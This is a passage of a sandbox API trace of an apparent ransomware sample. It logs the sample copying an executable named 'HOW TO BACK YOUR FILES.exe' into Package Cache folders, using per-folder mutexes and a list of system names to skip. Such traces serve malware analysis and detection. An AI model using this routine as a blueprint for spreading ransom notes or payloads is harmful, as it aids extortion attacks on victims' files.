"c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1 [0098.604] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0098.604] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0098.604] ReleaseMutex (hMutex=0xec) returned 1 [0098.604] CloseHandle (hObject=0xec) returned 1 [0098.604] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: lpString1="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0098.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5221b0 | out: hHeap=0x4f0000) returned 1 [0098.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ac98 | out: hHeap=0x4f0000) returned 1 [0098.604] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned 79 [0098.604] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\337176848CE6155170095D97DA37646D") returned 0xec [0098.604] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0098.604] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: lpString1="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0098.604] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0098.604] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.605] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0098.605] GetLastError () returned 0x0 [0098.605] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0098.605] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ef40 [0098.605] ReadFile (in: hFile=0xf4, lpBuffer=0x53ef40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ef40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0098.606] CloseHandle (hObject=0xf4) returned 1 [0098.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ef40 | out: hHeap=0x4f0000) returned 1 [0098.606] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0098.606] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0098.606] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.606] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.606] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.606] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.606] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.606] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.606] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.606] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.606] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ba21c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0098.606] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0098.606] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0098.607] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.607] lstrcmpiW (lpString1="packages", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.607] lstrcmpiW (lpString1="packages", lpString2=".") returned 1 [0098.607] lstrcmpiW (lpString1="packages", lpString2="..") returned 1 [0098.607] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1 [0098.607] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1 [0098.607] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1 [0098.607] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1 [0098.607] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1 [0098.607] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1 [0098.607] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1 [0098.607] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1 [0098.607] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1 [0098.607] lstrlenW (lpString="packages") returned 8 [0098.607] lstrcpyW (in: lpString1=0x241e8e8, lpString2="packages" | out: lpString1="packages") returned="packages" [0098.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ac98 [0098.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb2) returned 0x51c648 [0098.607] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0098.607] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0098.607] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1 [0098.609] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0098.609] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0098.612] ReleaseMutex (hMutex=0xec) returned 1 [0098.612] CloseHandle (hObject=0xec) returned 1 [0098.612] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: lpString1="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0098.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x522258 | out: hHeap=0x4f0000) returned 1 [0098.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50acb0 | out: hHeap=0x4f0000) returned 1 [0098.613] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned 79 [0098.613] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\9AFC950F77496AE3E178A811EB47F4DF") returned 0xec [0098.613] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0098.613] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: lpString1="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0098.613] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0098.613] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.613] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0098.614] GetLastError () returned 0x0 [0098.614] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0098.614] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ef40 [0098.614] ReadFile (in: hFile=0xf4, lpBuffer=0x53ef40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ef40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0098.615] CloseHandle (hObject=0xf4) returned 1 [0098.615] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ef40 | out: hHeap=0x4f0000) returned 1 [0098.615] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0098.615] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0098.616] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.616] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.616] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.616] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.616] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.616] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.616] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.616] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.616] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ba21c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0098.617] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0098.617] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0098.617] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.617] lstrcmpiW (lpString1="packages", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.617] lstrcmpiW (lpString1="packages", lpString2=".") returned 1 [0098.617] lstrcmpiW (lpString1="packages", lpString2="..") returned 1 [0098.617] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1 [0098.617] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1 [0098.617] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1 [0098.617] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1 [0098.617] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1 [0098.617] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1 [0098.617] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1 [0098.617] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1 [0098.617] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1 [0098.617] lstrlenW (lpString="packages") returned 8 [0098.617] lstrcpyW (in: lpString1=0x241e8e8, lpString2="packages" | out: lpString1="packages") returned="packages" [0098.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50acb0 [0098.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb2) returned 0x51c708 [0098.617] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0098.617] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0098.617] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1 [0098.620] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0098.620] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0098.620] ReleaseMutex (hMutex=0xec) returned 1 [0098.620] CloseHandle (hObject=0xec) returned 1 [0098.620] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: lpString1="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0098.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x522300 | out: hHeap=0x4f0000) returned 1 [0098.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50acc8 | out: hHeap=0x4f0000) returned 1 [0098.620] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned 78 [0098.620] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\7530DC54BC37EB068D66846D7C53905D") returned 0xec [0098.620] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0098.620] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: lpString1="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0098.621] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0098.621] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.621] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0098.621] GetLastError () returned 0x0 [0098.621] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0098.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ef40 [0098.621] ReadFile (in: hFile=0xf4, lpBuffer=0x53ef40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ef40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0098.622] CloseHandle (hObject=0xf4) returned 1 [0098.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ef40 | out: hHeap=0x4f0000) returned 1 [0098.622] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0098.622] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4bc8320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bc8320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0098.623] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.623] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.623] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.623] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4bc8320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bc8320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.623] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.623] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.623] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.623] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.623] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc8320, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4bc8320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0098.623] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0098.623] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0098.623] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.623] lstrcmpiW (lpString1="packages", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.623] lstrcmpiW (lpString1="packages", lpString2=".") returned 1 [0098.623] lstrcmpiW (lpString1="packages", lpString2="..") returned 1 [0098.623] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1 [0098.623] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1 [0098.623] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1 [0098.623] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1 [0098.623] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1 [0098.623] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1 [0098.623] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1 [0098.623] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1 [0098.623] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1 [0098.623] lstrlenW (lpString="packages") returned 8 [0098.623] lstrcpyW (in: lpString1=0x241e8e6, lpString2="packages" | out: lpString1="packages") returned="packages" [0098.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50acc8 [0098.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb0) returned 0x53ef40 [0098.624] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0098.624] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0098.624] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" 